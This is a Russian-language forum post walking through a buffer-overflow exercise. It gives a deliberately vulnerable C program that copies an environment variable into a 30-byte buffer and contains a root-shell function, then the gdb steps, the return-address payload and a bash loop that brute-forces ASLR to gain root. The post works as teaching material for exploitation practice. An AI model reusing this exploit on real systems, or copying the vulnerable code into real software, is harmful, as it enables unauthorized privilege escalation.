Показать сообщение отдельно

  #8  
Старый 08.12.2021, 17:45
ROP
Новичок
Регистрация: 27.08.2019
Сообщений: 0
С нами: 3533622

Репутация: 0
По умолчанию

C:


Код:
#include 
#include 
void
spawn_shell
(
)
{
setuid
(
0
)
;
system
(
"/bin/bash"
)
;
}
int
main
(
)
{
char
buff
[
30
]
;
const
char
*
env
=
getenv
(
"INSTALLED"
)
;
# получаем значение переменной окружения INSTALLED в
*
env
if
(
env
!=
NULL
)
# Если значение есть
(
не равно
0x00000000
)
,
то
{
strcpy
(
buff
,
env
)
;
# копируем в buff значение env
printf
(
"%s\n"
,
buff
)
;
# печатаем значение buff
}
else
{
system
(
"sudo apt install sl"
)
;
system
(
"export INSTALLED=OK"
)
;
}
return
0
;
}
Мы должны перетереть адрес возврата (
Код:
esp
) через переполнение буфера (
Код:
buff
).

Создаём тестовое значение в переменной окружении для того, чтобы узнать начало места, где можно перетереть адрес возврата.
Код:
export INSTALLED=`python -c 'print("A"*30+"BBBB"+"CCCC"+"DDDD"+"EEEE"+"FFFF")'`
.

Код:
gdb install
- открываем программу под gdb

Код:
r
- запускаем программу



Программа пытается обратиться по адресу
Код:
0x45454545
(
Код:
EEEE
). Ищем адрес функции
Код:
spawn_shell
(
Код:
info address spawn_shell
). Оно может отличаться. Меняем "EEEE" на "\xdd\x15\x5b\x56" в эксплойте. Остальное убираем.

Код:
export INSTALLED=`python -c 'print("A"*30+"BBBB"+"CCCC"+"DDDD"+"\xdd\x15\x5b\x56")'`
У нас включен ASLR (
Код:
cat /proc/sys/kernel/randomize_va_space
. (Значение равно 2). Адрес в программе не сильно изменяется (запускаем программу несколько раз под gdb). Мы можем запустить несколько раз программу, и в один из запусков адрес функции
Код:
spawn_shell
будет равно значению из эксплойта. Тогда после функции main, программа вернётся в
Код:
spawn_shell
. Используем скрипты bash для автоматизации.

Код:
export INSTALLED=`python -c 'print("A"*30+"BBBB"+"CCCC"+"DDDD"+"\xdd\x15\x5b\x56")'`
Код:
for i in {1..150}; do ./install; done
Мы стали пользователем root.



 
Ответить с цитированием